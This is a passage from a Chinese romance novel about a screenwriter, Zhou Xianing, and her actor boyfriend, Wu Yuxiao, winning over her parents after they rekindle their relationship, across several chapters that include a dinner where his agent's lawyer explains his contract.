他像迎接主人回来的小狗一般热烈地扑了过去,“在LA的工作交接完了吗?你要回陵城吗?我飞机晚点,我可以改到和你一个航班回去。”
周夏宁摸了摸他的脑袋,遗憾地摇头道:“我元旦之后再回去。”
这边的工作已经完全交接,她这一周的任务就是在不透露她和武玉箫复合的消息的前提下,把她父母接去陵城。
周姚已经安排好了,等他们到了陵城,他就会以庆祝乔迁的借口,把珠珠带去她父母家,然后将她和武玉箫复合的消息透露给他们。
等他们有了心理预期,她再带着武玉箫上门。
“那你能收留我几个小时吗?我买了很多菜。”
周夏宁看他两手空空,笑道:“你有储物空间吗?菜呢?”
“车里。”武玉箫心虚地说道。
他的车停在湖边,离这儿有些距离。他和她的邻居打过商量,他们不同意他把车停在他们的车库里。
“几点的飞机?”
“晚上九点。”
周夏宁想了想,她父母去纽约参加老友孙子的婚礼了,最快明天才能回来。不过是一起吃顿饭,应该不会这么巧,被抓包吧。
“把车开过来,停车库里。顺带把我的车也停了。”
周夏宁把车钥匙扔给了他,有个质押物,他才能有安全感。
武玉箫兴奋地跑去了湖边,这三天累积的不安和焦虑在这一刻尽数散去。她这次没有推开他。
下午两点,客厅。
阳光正好,周夏宁躺在摇椅上闭目养神。厨房的炉子上正炖着乌鸡汤。诱人的香气在屋子里溢散,本来已经被美食填饱的肚子,又有点儿饿了。
武玉箫换了一身居家服从浴室里出来,头发半干,水珠顺着发梢落到他的锁骨上,无声地散发着致命的性感。
他还是老样子,衬衣扣子只扣一半。诱惑着她将视线固定到他身上。周夏宁起身迎了过去,把他拦在楼梯口。
纤指从他的侧脸划过,他低头在她的指尖留下他的气息。他抬眸邀请她继续,她突然没有了逗他的兴致。
他太配合了,就没意思了。
“扣子扣好,去屋里睡会儿。炉子我看着。”
她给他让了路,视线却很难从他诱人的锁骨处挪开。她不禁咽了咽口水,若隐若现的性感最是让人欲罢不能,他很懂她的审美点。
“夏夏,我这半个月有好好吃饭,又长了点儿肉,你检查检查。”
他将她的掌心贴在他的脸上,颧骨处着实有了些微肉感。周夏宁的手顺着他的下颚线从他的锁骨处一路下滑,最终如他所料停在了他的腰间。
“不错不错,终于不硌手了。”
周夏宁轻轻地在他的脸颊上啄了一口,这是之前约定好的奖励,她一诺千金。她艰难地将手从他身上移开,他眼中的红血丝很重,他需要休息。
“去睡吧。”周夏宁催促道。
武玉箫失落地低头,她这是没有兴致的意思。可是他现在真的很需要她陪,只有把她揉进身体里,他才能安慰自己,她不是对他的身体失去兴趣了。
“夏夏,我想要你,可以吗?”
他解开了衬衣的扣子,在她眼前露出古铜色肌肤。
这是他第一次这么直白地向她求欢,周夏宁思索片刻,问道:“你确定你现在需要的是这个而不是休息?”
她认为他需要好好休息,但她到底不是他。
“可以吗?”武玉箫恳切地问道。
“你先去躺会儿,十分钟后炉子关火了,我就去屋里陪你。”
她把他推进了卧室,然后拿着睡衣去了浴室。浴室响起了“哗哗”的水声,武玉箫知道她没有搪塞他。
她的床很软,枕头上染着栀子香,很好闻,让人很放松。她的床头摆着她和父母的合照。这是他第一次见
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到她父母的照片。她很像她的父亲,温柔、淡然、温暖、坚韧。
厨房传来关火声,没多久,她穿着吊带睡衣出现在他眼前。他的目光逐渐变得火热,视线无法从她的V领处挪开。
“你喜欢这种?”
周夏宁察觉到他的兴奋,禾歌说得没错,男人都喜欢直接的感官刺激。这是她送的所有睡衣里,她唯一能够接受的款式。
从用户的反应来看,他挺喜欢她这样穿。
“很美。”
武玉箫语气里都是笑意。他挪到床沿处将她抱入怀中,两人温热的肌肤紧密相贴,他湿热的呼吸打在她的耳垂上,她不由得乱了呼吸。
“夏夏,能这样抱着你,真好。”
武玉箫的吻落在了她的肩头,他还是吻得那般轻柔小心,不敢有一丝的粗鲁。周夏宁回头轻笑,以他对她的方式,还到了他的身上。
她将他扑倒在床上的时候,他的眼里盈满了被理智束缚的情欲。他诱惑她沉浸在原始的情欲里,他怎么能独善其身?
她作乱地在他的胸口一顿乱吻,武玉箫抓紧身下的床单,强迫自己不要有任何动作。她不满地叹了一声,轻轻地在他的唇上反复亲吻。
理智消散在她的笑颜中,他环住她的腰,轻轻将她压在身下。他低头吻她时,她的手环上了他的脖子。
“朝朝,我爱你。”
她主动加深了这个吻,主动让自己沉浸在唇齿交接的快感中。她的沉沦是他最佳的兴奋剂,他褪去她的睡裙,在她的身上留下他火热的印记。
他不再那么小心翼翼,任自己同她一起迷失在似火的情欲里。
下午五点,厨房。
卤肉的香气在屋里四散,雪白的梨块在沸腾的水里翻滚。夕阳的橘光落在餐桌上,给桌上满满一桌菜打上爱的光圈。
机场离这里有一个多小时的车程,马上晚高峰了,再不走他该误机了。他把行李箱放在了玄关处,只身去了她的房间。在离开之前,他还想多看她两眼。
电话铃很不是时候地响起,她睁开朦胧的睡眼,看他已经穿戴整齐,笑问道:“准备走了?”
他点点头,眼里尽是不舍。
“这个送你。祝你在颁奖典礼上有个愉快的夜晚。”
周夏宁将青苹果酥塞到他的手上。
青苹果酥,平平安安入青云。
姜澜送她的好运气,她要分享给他。
“可是,我不想再往上飞了。夏夏,没有你的青云,我不想去。”
武玉箫拽着她的手,把青苹果酥还给了她。她想飞到哪儿,他跟着去就好了。一个人飞,太累了。
周夏宁把青苹果酥放在他的掌心,淡然笑问道:“你怎么知道,你要去的青云里,没有我中意的风景?”
对的人会出现在自己的前途里,他一直都在她的前途里,他们之间才能旧缘重续。
“一路平安。”
她拽住他的领口,在他的唇上轻轻啄了一口。
KissGoodbye。
“我会努力工作的。下次再来的时候,带我见你父母好吗?”
周夏宁沉默了几秒,武玉箫以为她会拒绝。
“等我带他们回陵城之后,我会安排的。”
武玉箫默默握紧青苹果酥,如果那里有她想去的地方,他得更加努力向上飞,去看更多她喜欢的风景。
22. 冰糖雪梨
下午五点半,客厅。
太阳已落西山,黑暗悄无声息的降临。屋里没有开灯,在昏暗光线里,武玉箫只能透过窗户看到沙发上那个男人阴沉的脸。
约莫二十分钟前,他从周夏宁卧室里出来的时候,正巧在玄关遇到了她父母。她父亲当即把她从卧室里喊出来,找她要一个合理解释。
周夏宁让他先行离开,他出门后,屋里就响起了响亮的巴掌声。周姚以前就同他说过,她父亲不同意他们在一起。
他没有料到,他会因为他出现在这个家里,就动手打她。她说过,她父亲很爱她。
“你最好编一个我能够接受的理由。不然,你就把陵城的工作辞了,留在LA。做什么都可以。”
暴怒的声音震慑屋顶,周夏宁乖顺地站在角落里,不敢靠近,也不敢多说一句。武玉箫从未见过她这么胆怯委屈的模样。
“这些年追你的男人没有十个也有八个吧。你怎么就非要在他这棵歪脖子树上吊死。他对你再好,有我对你好吗?”
“没有。”周夏宁毫不犹豫地答道。
男人的脸色这才缓和了下来。
“你是只想再和他谈一次恋爱然后分手,还是想结婚?”周父阴沉地问道。
周夏宁的太阳穴突突地跳,一来就是这么重磅的问题。
“我回去打循环之后,要和亿星签订三年的定制约。三年前没有走通的路,我想再试一次。”
她眼神坚定,没有丝毫犹豫。她没有骗他。
外面的风呼呼作响,周父看着在窗口站立的年轻人,不由得叹了一口气儿,感情的事儿只讲缘分,没有对错。
“叫他进来吧。做了一大桌子菜,好歹吃一口再走。”周父没好气儿地说道。
他的目光从周夏宁脖子上的红点处一闪而过,家里好好的白菜到底还是被猪拱了。
武玉箫乖顺地跟着周夏宁进了屋,在周父面前静静地立着。她的父亲退休之前是中学的教导主任,在他面前,他越发不敢抬头。
“你和她是只想谈恋爱,还是奔着结婚去的?”周父例行问道。
武玉箫沉默了很久,久到周父想直接把他请出去,并通知他以后再也不用来了。
“她想恋爱,我们就恋爱,她想结婚,我们就结婚。我只想和她一直交往下去,什么形式都可以。”
这个回答可以是真心,也可以是为了讨人欢心编纂出来的。
“你想和她结婚吗?”周父故意加重语气。
“想。”武玉箫不假思索道。
从她在温哥华和他越界那晚起,他就一直在考虑两人结婚的事情。那个时候未来太不确定了,他给不了她任何承诺。
“我的合约还剩一年的时候,我会向公司申请退圈。以我现在的业绩达标度是可以提出这个申请的。转约成功后,她如果想领证,我们可以先领证。等合约完全结束了,如果她愿意,我们再顺其自然要个孩子。我会学着去经营甜品店,慢慢适应我的工作转换。如果我们有孩子,我会一边开店一边带孩子,让她安心在夜荷工作。”
周父陷入沉思,他的态度和他预期的相差甚远。他对这段感情很认真,他狐疑地看向自己的宝贝女儿,“五年前,是你不愿意把他带回来,还是他不愿意跟你回来?”
那个时候他们交往了大概一年多,他们偶然知道了这个消息,就让她把人带回来见见。家里经济条件还行,也不求大富大贵,想着交往两年左右,结婚定下来,趁着他们身子骨都还硬朗,帮她带带孩子,让她再去奔奔事业。
她那个时候推三阻四的,死活不把人带回来。周姚的母亲又整日在他们面前说那个圈子有多么乱。武玉箫的出道三部曲又都是她写的,他们很自然地把这段关系当成了一种不正当的利益交换。
她搪塞了半年之后,周姚说她的稿件都被领导退回来了,她心情不大好,要出去散散心。正巧那个时候,他们的恋情被媒体曝出来了。他们看到八卦新闻后才知道,她所谓的散心,就是不思进取地陪着他在剧组里玩。
她推了很多项目,一些周姚都觉得很好的机会,她想都不想就拒绝了。他们夫妻俩看她恋爱脑上头,劝也劝不住,就主动去陵城找武玉箫,想着能见个面聊一聊。
可是他们去了三次,都没有见到他。最后一次,双方约好了见面时间,他却因为临时插进来的工作爽约了。
他们以为武玉箫只把她当做成名的跳板,就让她赶紧和他分手。他给了她半年的时间让她做选择,是回老家相亲结婚还是留在陵城好好奔事业。半年时间没有到,他病倒了。
她分手回了老家,对他闭口不提。他们都以为是武玉箫翅膀硬了不需要她了,把她给甩了。
周夏宁心虚地笑了笑,“都过去了,不重要了。”
她不愿意带是真的,他没法跟她回去也是真的。
“他还要赶机,就不吃饭了。”
周夏宁推着武玉箫往门边走,饭什么时候都能吃,工作机会没了就没了。武玉箫在门边拽住她的手,转头笑道:“夏夏,时间还早。现在去也是在那儿干等。收留我吃顿饭好不好。”
周母从他们的身边经过,指挥道:“去摆碗筷。”
她没有指明让谁去,武玉箫主动去了厨房。炉子上有煮好的冰糖雪梨,他将梨汤分成了三份,然后端了出来。
周父看到甜汤的反应和周夏宁一模一样,两眼放光,唇角挂着浅浅的笑容。看在甜汤的份上,周父给武玉箫加了十分。
武玉箫的甜汤是按照周夏宁的口味做的,正巧合周父的胃口。
“厨艺不错,经常给女朋友做?”
这个女朋友可没有特指周夏宁。
“因为工作原因,我专门去学过。在家的时候,会给夏夏做。”
女朋友=周夏宁,冲这个回答,再加十分。
“当初分手的时候发邮件咒骂她,怎么现在又要和她复合了?”
周夏宁突然呛了两声,邮件的事儿,她的老父亲是怎么知道的。
武玉箫思考了片刻,邮件是袁栎发的,可给她造成的伤害是真的。
“当时我接受不了她单方面通知我分手,心存怨恨。我努力工作只是想让她后悔离开我。但是再见到她之后,我便知道我没法把她让给别的男人。”
他没有为了讨他的欢心刻意掩饰他对她的不满,再加十分。
“你是因为赌气才和她复合的?”周母突然插进来。
“一开始是因为赌气才缠着她,我想知道三年前被甩的理由。但是知道她要回LA之后,我就只想她再看看我。”
“她就这么好吗?你这么爱?”周母好奇道。
她这模样让他想起了街边聊八卦的大妈。
“我想要的爱只有她能给。”武玉箫淡然笑道。
她不好,一点儿都不好。
独立、心狠、耀眼、冷静,知道如何让他不安,让他哭。
可她爱他的方式,是这个世界上任何人都无法替代的。她
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所谓的为他好,是真的可以让他变得更好。
所以,他投降了。
“最后一个问题,你们什么时候复合的?两个人一起说。”
周母给周父使了个眼色,周父气得眉毛似着火了一般。
“中秋节。”
“重要吗?”
周夏宁不满地回头,“怎么问什么答什么?采访的时候,你不是挺会跑火车的吗?”
武玉箫拿过她的梨汤碗,安静地吃起了甜汤。皮一下就跑,她只能生闷气。伸手不打干饭人。
“老周,按照约定,禁糖一个月。”周母得意地笑道。
“你们打什么赌了?”
周母浅浅一笑,给武玉箫夹了两片牛肉,不打算给出正面回答。周夏宁犹豫了半晌,还是把肉夹走了。
“他不吃红肉。”周夏宁解释道。
“我可以。”
武玉箫还想再挣扎挣扎,在周夏宁坚持的眼神下,他彻底败下阵来。
“下次你没工作的时候,我们再一起吃。在飞机上吐了,你会很难受的。”
周夏宁给他夹了一碗的素菜,出门在外还是安全为先。周父看眼前这小伙妻管严的模样,开始相信当初是他宝贝闺女甩的人了。
综上,再加五十分。现在印象分为负一百五十分。
晚上八点,霍普修斯国际机场。
在往来的人群中,武玉箫紧紧牵着周夏宁的手,她的父母比他想象中的要和善许多。他和她父母之间存在很多误会,等他们回到陵城之后,他们会慢慢将这些误会都解开。
周夏宁:“你该去过安检了。”
武玉箫不舍地摇头,“再待十分钟。”
周夏宁:“现在还有分离焦虑?”
武玉箫:“时间长了,会变好的。”
一切都在往好的方向发展,他们之间只会越来越好。
周夏宁没有那么乐观,今天餐桌上,发问的都是她的老父亲。她的实权母亲可没有对这段恋情发表任何意见。
最初和她说武玉箫不适合她的,可是她的母上大人。
周夏宁:“一路顺风。”
武玉箫指了指自己的脸颊,向她讨一个道别吻。
周夏宁摇摇头,“我给过了。”
武玉箫猜到了她的反应,没有太失落。他从包里拿出一个小盒子塞到她的手上:“觉得很适合你,希望你喜欢。早点回家,我会很想你。”
他俯下身,亲吻她的额头。周夏宁猛然一愣,在她推开他之前,他拖着行李箱去了安检处。
隔着老远,武玉箫大声喊道:“夏夏,早点回家,我会寄很多很多枣回去。”
他阳光热烈,有着能燃烧一切悲伤的能量。周夏宁心头一热,穿越人群拥抱了他,踮起脚尖在他的唇上打上她的烙印。
他的手触到她的腰肢之前,她突然推开他,像兔子一样跑走了。她拿着盒子向他挥手,“谢礼。”
声音消散的时候,她的身影也淹没在人海中。武玉箫望着她离去的方向,笑成了一朵太阳花。从他身边经过的旅客,都不由自主地回头看他,他好像七月骄阳,阳光、热烈、爽朗、明媚。
他向着每一个对他举起手机的人微笑挥手,在路人的镜头下留下他灿烂的笑容。她回到他的生活里之后,似乎他也不反感被人当动物园的猴子一般欣赏。她给他带来的喜悦和满足,他想分享给更多的人,让他们也能唇角轻扬。
心情好的时候,好运也会悄悄来临。
23. 定胜米糕
西斯赫尔酒店花园餐厅,“韵梅”包间阳台。
纯白的雪花卷着沁人的梅香落到周夏宁的掌心,草莓酒的酸甜驱不散心中的紧张。
三天前,武玉箫来消息说想在她父母回国这天请他们吃顿便饭。她没有料到他会把地点定在这个只针对亿星S级评级人员开放的农家乐餐厅。
以武玉箫的评级,他自是没法订到这家餐厅。不知道他这次又厚着脸皮欠了亿星哪个高管的人情。
那日从机场回去后,她父母接受了同她回陵城的提议,但是对他们复合的事情持保留态度。
她母亲说得很直白,适合恋爱的不适合结婚,不以结婚为前提的恋爱就是耍流氓。如果她给不起承诺,就不要耽误他。
这话她母亲四年前也说过,但是最后一句是“如果他给不起承诺,就不要拿你的时间去陪他耗。”
院子里传来刹车声,周夏宁将杯中剩余的酒一饮而尽,武玉箫很期待这次见面,他想将一些误会说开,获得一个被他们接纳的机会。
只是冰冻三尺,不是三言两语就能化解的。
她很讨厌看到武玉箫失落的眼神,他眼神暗淡的时候,她的心就会很疼。她一直刻意让武玉箫和她的家族保持距离,让他们之间不存在除了他们两人磨合以外的问题,可当他们的感情发展到了必须要和她的家族产生联系的时候,那些她不想让他面对的压力,成了避无可避的回旋镖。
“饭局还没开始,就自己喝酒,等会儿也不怕醉。”周母轻笑道。
她应声回头,抖了抖身上的落雪,主动迎了上去。周母穿了一身淡黄色的唐装,手上戴了压箱底的翡翠玉镯,头上插着和玉镯同款式的翡翠玉簪。这身行头,周夏宁只在周姚的结婚典礼上见她穿过。
周姚的老丈人是个富商,他的结婚仪式是在一个高档度假山庄举办的,请了很多名流来,她父母怕周姚被人看轻了去,在家里捣鼓了三天,才在一个犄角旮旯里翻出传家的玉镯子、玉簪子和玉坠子。
婚礼过后,这些东西又被扔回到了不知名的角落里。不知这次他们翻了几天,才把它们翻出来。
“一顿便饭,至于吗?”周夏宁紧张地咽了咽口水。
“在这么有格调的地方吃饭,你就大长袄配牛仔裤?”周母反问道。
她给周夏宁扔了一个袋子,催促道:“去换了,然后上个妆。吃饭也得有仪式感。”
周夏宁给周父递了个眼神,周父转头看向窗外,母女俩的纠纷他可不掺和,不然最后火得烧到他自己身上。
周夏宁反抗无效,乖乖去换衣服。袋子里除了旗袍,还有玉镯,耳坠,项链,和发带。
这些是她父亲病重前花重金找人定做的。那个时候,她父亲因为她无心工作,只沉迷于在剧组和武玉箫谈恋爱,和她闹得很僵。甚至赌气说,如果她执意要和武玉箫谈,就拿着家里给她准备的嫁妆从家里出去,以后都别联系了。
这些玉都是上好的羊脂玉,手头拮据的时候可以卖了救急。她从小不缺吃不缺穿,不知道缺钱是多么让人绝望窒息的事情。
她父亲当时让她带着首饰走,也是怕哪日她和武玉箫感情生变,事业不顺,手头拮据,流落街头。家里能给她的托举是有限的,但在有限的范围里,他们也想尽自己所能给她谋一个退路。
周夏宁小心翼翼地将首饰戴在身上,他父亲选的款式很适合她,清丽淡雅,古典随性,配她的淡妆正好。
“余姐,早知道你也在LA,我们就约在LA见面了。也不用你这大老远地特意飞回来一趟……”
听到寒暄声,周夏宁再次来到屋里,周母身边站着一个身形瘦削的女人,她一袭红色曳地长裙,裙子上的碎钻在灯光的照射下,散发着奢靡的亮光。
“余姐,你怎么来了?”
周夏宁不禁咽了咽口水,余芷这身可是参加投资商酒局的行头。不就是一顿便饭吗?怎么弄得像是双方家长见面商谈婚事的饭局。
“他嘴笨说不清合约的事情,我来替他向你父母解释。你今天很漂亮。”
这时服务员进屋上菜,大家各自入座。武玉箫炙热的视线随她而动,她不由得红了脸。
余芷的余光从武玉箫的身上扫过,不出所料,他的眼里盈满了迷恋的笑意。在他的眼里,她比天宫里的嫦娥还美丽。为了她,他可以揽月摘星,勇攀青云梯。
爱情让人盲目,可若是光明前途出现在这片盲目中呢?
余芷:“冰夏爸爸,前几日闲聊的时候,朝朝说当初你们是因为他和公司签了卖身契才逼着夏夏和他分手的。虽然,我知道这不是他们分手的主要原因,但我还是借这个机会和你们解释解释。”
一道长影突然从门口冒出来,一副律师打扮的男人走了进来。
余芷:“这位是萧律师,专门对接绿森之家的法援律师。当初朝朝和公司签约也是他经手的。”
余芷给来人使了个眼色,来人将一沓合同递到了周父和周母的手上。
萧逸山:“最上面的一份是A约部的格式化签约合同,A约的签约期是十年,合约存续期不能结婚。公司严禁非婚生子。合同里约定了解约条款,达到条件就能解约。但他是通过绿森之家武术委培班推荐进的繁星循环,不适用于该合同项下的任何一个解约条款。”
萧逸山示意周父和周母拿出第二份监护代理协议,继续道:“打循环的时候他还是未成年人,余姐同福利院签订了监护权代理协议,并且用自己的权限给了他外卡资格。他很幸运在循环赛里留到了最后,在编剧的坚持下,拿到了夏朝朝的角色。这属于亿星的A级项目,以他当时的定级,参演需要经纪人的担保。余姐和公司签订了对赌协议,协议内容我没法透露,因为她的担保,他才最终拿到了那个角色。”
周夏宁愣了半晌,这是她不知道的故事。她当时和周姚说,就算投资定级降级她也要让武玉箫演夏朝朝。周姚拗不过她,最后同意了。但是后来项目签协议的时候,投资定级并没有降。她还以为是亿星慧眼识珠,看中了他们的项目。
萧逸山:“他去面试过《花云外传》的男二号,试戏通过了,但后来被关系户挤走了。余姐升级了和公司的对赌协议,把他越级塞进了那个项目做男二号。很幸运的是他因为那个项目被赵清妍看中,拿到了《旧梦金桥》男一号金睿许的角色。”
周夏宁凑到了周母身前,她手上的业绩评估报告写满了他当年凭着那个白月光的角色拿到的奖项、商代和销售业绩。
机会确实都是别人给的,但是这些实绩都是武玉箫自己创下的。
萧逸山:“《旧梦金桥》项目过后,有非常多的工作邀约。余姐没有找公司要写在对赌协议里的资源。在对赌协议快要结束的时候,余姐给他申请了亿星S级投资项目《林齐传》的男二号,然后对赌协议自动向后延期五年,一直到他合约结束。”
这个《林齐传》是徽瑞的转约试水作,也是武玉箫在分手沉寂几乎一年之后,再次闪耀银屏的作品。在关键的时间节点,他的经纪人都以合适的方式推了他一把,把他推到了现在的位置。
他的成功有自己的天赋异禀,有贵人的慧眼识珠,更有背后团队的支持。
周父看着那写满实绩的业绩评价报告,才相信,他的宝贝闺女不是恋爱脑,武玉箫也不是吃软饭的小白脸。
萧逸山:“他现在的业绩已经满足了提S-T约的条件,如果转约失败,他在十年约结束之后自动转去B约部。B约部属于工作室约,没有什么限制条款,除了他在达到S-T约条件之前,不能与亿星解约外,他的工作自由度很大。在谈转约之前三个月走结婚申请,公司会提前撤资源,这样在收到转约通知邮件的时候,他们就可以领证。”
萧逸山的手机响了,艾彬在催他回公司开会。他挂了电话,艾彬又打了过来。这样反复了三次,余芷说道:“不好意思,他是我临时约出来的。萧律师,你留个联系方式,夏夏父母如果有疑问,可以随时问你。”
萧逸山不由得松了口气儿,这会议所有和A约部相关的高管都得参加,陆扉辰推了所有工作,回亿星召开联席会议,商议如何应对这个摇钱树在系统里提出的S-T约的申请。这是他不能迟到、不能翘的会议。
周母:“那麻烦萧律师了。”
合约只是他们当初逼周夏宁分手的一个由头,解不解释清楚不重要。但是这位经纪人愿意找这么专业的律师和他们解释,这也算一个态度。
她轻轻踢了周父一脚,示意他去加他的联系方式。
他这个女儿奴比较需要这么专业的解释,来倒出他被他妹妹无端灌进去的流言废水。
萧逸山离开后,余芷给武玉箫递了个眼色,他端着一杯酒走到周母的身前,说道:“阿姨,四年前我在做电台的时候收到了一封粉丝信,来信的人是一个母亲。她说她女儿的男朋友比她女儿小三岁,是
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个演员,工作很忙。她女儿想和他在一起,就追着他跑,无心工作。她无法接受她费心养大的女儿如此荒废自己。她问我她该怎么办。”
周母看着他的眼睛,笑问道:“你的答案呢?”
武玉箫将手中的酒一饮而尽,苦笑道:“让她和那个男人分手。”
周母给他将酒倒满,笑道:“所以,那个时候我让她同你分手了。”
周夏宁愣了许久,这一段故事,她不知情。
武玉箫再次把酒一饮而尽,说道:“其实我当时想说的是‘相信她女儿的选择’。可是在那个场合,我说不出口。一个母亲会来信问这个问题,一定是因为她女儿的男朋友没有用自己的言行让她相信她女儿的选择是正确的。她需要一个契机和他人的肯定来让自己逼着她女儿分手。所以,我那样说了。”
周母:“这些都过去了,不重要了。”
武玉箫再次将酒杯倒满,认真地说道:“四年前,我还收到了一封粉丝来信。来信的人是一个父亲,他说他女儿的男朋友因为工作合约六年后才能结婚,而且因为工作性质没有办法顾家。如果他不慢下来,他们真的在一起了他女儿就得慢下来,可是他不想他女儿放弃她的事业,他该怎么办?我写了回复,但是信没有寄出去。所以我今天把那封信带过来了。”
他把一张信纸塞到了周母手中。
信上写道:夏夏的父亲,我在夏夏的信盒里见过你的笔迹,一眼就认出来了。我很抱歉因为我的合约给你们带来烦扰,如果我谈转约的时候,她还想和我在一起,我会退圈,开一家甜品店。我会慢下来,会好好照顾家里,让她安心在夜荷发展。她很喜欢写故事,她的故事也很喜欢她。她现在只是遇到了一些困难,需要时间去正视它。夜荷的机会很多,她休息好了会重新回来。我会很努力地去爱她,努力让她愿意一直留在我身边,一直闪闪发光。如果你愿意,我会在这个月20号的时候,去信封上的地址等你。粉丝信的事情,我会向她保密的。
信件的落款日期是四年前的1月10号。这正是周父在街上突然晕倒被送进抢救室的日子,也是周夏宁最后一次和他联系的日子。
周母把酒杯递给了周父,问道:“搬家,缺人手,要他来帮忙吗?”
周夏宁突然松了口气儿,这是松口的意思。
周父与武玉箫碰了个杯,不情不愿道:“有时间就来,没时间就算了。计划很美好,实践才是王道。”
四年前若是能够找个时间好好坐下来聊一聊,中间也不会多出那么多的插曲。他们以为他没考虑的事情,他都在好好的考虑。
这中间最有问题的就是他宝贝女儿处理他们同武玉箫之间关系的方法,她怕他们对武玉箫态度不好,防他们跟防贼似的。
又不是上不得台面,她用得着防这么紧吗?
余芷给武玉箫递了杯蜂蜜水,笑道:“他这两周都在陵城,有需要,随叫随到。”
周母:“夏夏,搬家那天你把人带来。”
武玉箫眼里燃起了兴奋的光,她父母这是勉强同意他们在一起了。他一笑,周夏宁也跟着笑起来。他们俩笑的时候,爱着他们的人也不禁唇角上扬。
一顿饭吃得非常欢乐。
花园餐厅停车场。
司机将车开到了路边,上车之前,余芷将一盒糕点塞到了周夏宁的手中,“‘云渺’的师傅做的,他说你现在很需要这个。夏夏,既然给了他一个机会,就相信他能够处理好作为一个伴侣需要面对的压力和问题。他是你选的,相信你自己的选择。S-T约,我会帮他拿到的。”
这不是一个容易的决定。
周夏宁问道:“为什么?”
余芷看着她手上的玉镯笑道:“你为什么戴他送你的镯子?这玉镯子的成色可比不上你的其他首饰。”
周夏宁低头,红色米糕上“定胜”的字样赫然映入眼帘。
定胜糕,相信自己一定胜利。
沉默许久,她说道:“我希望他能够得到我父母的认可,想要相信我的选择是对的,虽然我很不确定他是否能够做到。”
余芷看着她,没有再说什么。
车门合上的时候,空气中飘来余芷的声音。
“我的理由也一样。”
她从来不确定他是否能够达到陆扉辰下达的业绩指标,但她很希望他能够走到陆扉辰预期的位置,去见更广阔的风景,证明她的选择是对的。
24. 糖蒸酥酪
早上十点,兴源社区9排6栋。
烤牛肉的香味伴着“叮当”作响的门铃飘入屋内,周夏宁像兔子一样跳到门口。门被打开的时候,武玉箫看到了一张熟悉又来气儿的脸。
周夏宁盯着他手上的保温袋两眼放光,“东东小朋友,带什么好吃的来了。”
汪文东虽是面点师,但厨艺也一流。每次见面,他都会给周夏宁带甜点和烤肉干。两个人关系不远也不近,是异性朋友正常的距离。凭着他们的关系,他理应不会出现在她父母的乔迁家族聚会上。
淡淡的怨气穿过客厅将汪文东紧密包裹,他从保温袋里拿出一个不起眼的小碗,“桂花糖蒸酥酪,送给第一个给我开门的姐姐。”
周夏宁两眼笑成一对弯月。难得他遂了她的心愿,抽时间给她做了这酥酪。她从他手中接过碗的时候,手被他刻意握住。她惊讶地看着他,却没有太多挣扎。
一个身材微胖的妇人,拎着礼盒快步走来,雪地上留下她干练风火的脚印。这女人是周姚的母亲,也是她的大姑。
“夏夏,周姚说你没看上易云祁,所以我今天把他带来了。他手巧人俊嘴甜,自己开店,挣得不少,很适合入赘。”
周夏宁微不可闻地轻叹一声,凑到注文东的耳边,问道:“你是不是闲的,陪她玩这一出?”
事先周姚和她通过气儿,说他妈要在乔迁宴上逗逗武玉箫。
汪文东轻笑点头,笑道:“看醋坛子酿醋,很有趣儿。”
他牵着她的手进了屋,武玉箫想冲过去把两人隔开,周姚拦在了他身前,笑道:“去帮忙包饺子,人手不够。”
“夏夏,一起包饺子,好不好。”
武玉萧的视线穿过汪文东高大的身躯落在周夏宁的身上,她应声回头,想要去到他的身边,但她的手上突然多了一堆礼盒。
周惠芳拦住了她的去路,用不容拒绝的语气说道:“去把东西放好。”
眼前这个女人是除她父母外最担心她被男人骗的人。在知道他俩交往的消息后,她买了不少武玉箫的商代,混进了武玉箫的后援会,后来还把那个追星号交给了她母亲。
武玉箫是什么样的人她很清楚,她今天找汪文东刺激他,纯属找个乐子,伤害性不大。
“好好包饺子,我要吃酥酪。”
周夏宁在窗边的位置坐下,不经意间,余光从他身上扫过。他在周姚身边很安静,饺子皮儿在他手上转了一圈就变成了圆鼓鼓的金元宝。
“听说你合约结束了就不打算续约了。夏夏现在发展这么好,你不怕她腻了你之后,你人也没留住,事业也没了。”
周惠芳故意提高了声量,在厨房里忙活的周父周母一同停下了手中的活计,侧耳倾听屋里的对话。
这也是他们所担心的。
当年他们不想周夏宁慢下来,将心比心,现在他们也不希望他放弃打拼了近十年的事业。
爱情是相互成就,不是为了在一起,不惜代价的牺牲。
只是婚姻需要稳定,需要朝九晚五,需要有人主内有人主外。
虽然在这个时代可以只恋爱不结婚不要小孩,可随着年纪增大,身体本能会驱使自己去找伴侣,养小孩,利用伴侣的陪伴消散日益浓重的孤独感,利用孩童的活泼来对抗日益逼近的死亡恐惧。
寻找伴侣繁衍后代是人对抗自然衰老的本能。要反抗它,需要很大的决心和物质基础。
如果能找到一个平衡本能欲望和世俗制度的方法,他们夫妻俩希望周夏宁能和她选择的人,结婚生子,从容老去。
武玉箫没有停下手中的活计,他平静地说道:“从我入行起,我经纪人就同我强调,我的工作是通过演绎角色来取悦观众。拍戏也好,开店也好,本质都是取悦他人。我只是需要时间去学习新技能,在新岗位上做我一直在做的事情。我只是不拍戏了,不是放弃了我以前积累的经验、人脉和资源。即便换个圈子,我也能发展得很好。如果我做不到,她把我踹了,那是我活该。”
因为……
三年前,她放弃了夜荷的工作,在LA重新开始。她换了圈子,换了跑道,但没有因此沉寂。她利用之前积累的经验和人脉,突破了她的事业瓶颈,以更华丽的姿态回到了夜荷。
换圈之后,她依旧闪耀。
如果他做不到她已经做到的事情,他自然没有资格站在她身边。
他爱她,所以他能希望自己能够爱得起她。做到这些,他才能拿到与她同行的车票。
周父拍拍周母的背,有这样心境的人做什么都会成功。他轻笑着将关小的炉火再次调大,酱烧猪蹄大火收汁才好吃。
周惠芳听到厨房的动静,知道他刚才的回答过关了。
“那四年前,夏夏生病的时候,你为什么没来看她?”
武玉箫停下手上的动作,沉默了许久。他从威亚上掉下来之后,袁栎拿走了他所有的粉丝信。
等他看到那封盖着桂花糖炒年糕印章的信时,她已经去了机场。他赶过去,想问问她还有没有哪儿不舒服,但他去晚了。她在他眼皮子底下进了候机厅。
“我知道的时候,她已经去LA了。我没法跟着她去LA,所以我跟我的经纪人说,我想红到她在LA也能天天看到我,收到我的消息。听我对她说,‘保重身体,不要生病’。”
周母突然红了眼,这三年他做的深夜广播,每次的结束词都是“保重身体,不要生病”。
周夏宁从青城探病回来之后,患了感冒。她一直拖着没去医院,后来拖成了肺炎。昏迷时,她一直重复:“朝朝,对不起。”
他们逼着周姚解锁了她的电脑,在她的邮箱里看到了他发来的咒骂邮件。她给他发了短信,写了邮件,写了粉丝信,甚至还通过周挑找了余芷,想让他来看看她,两人再聊聊,做到和平分手。
可一直到周夏宁出国,她也没有等到他。
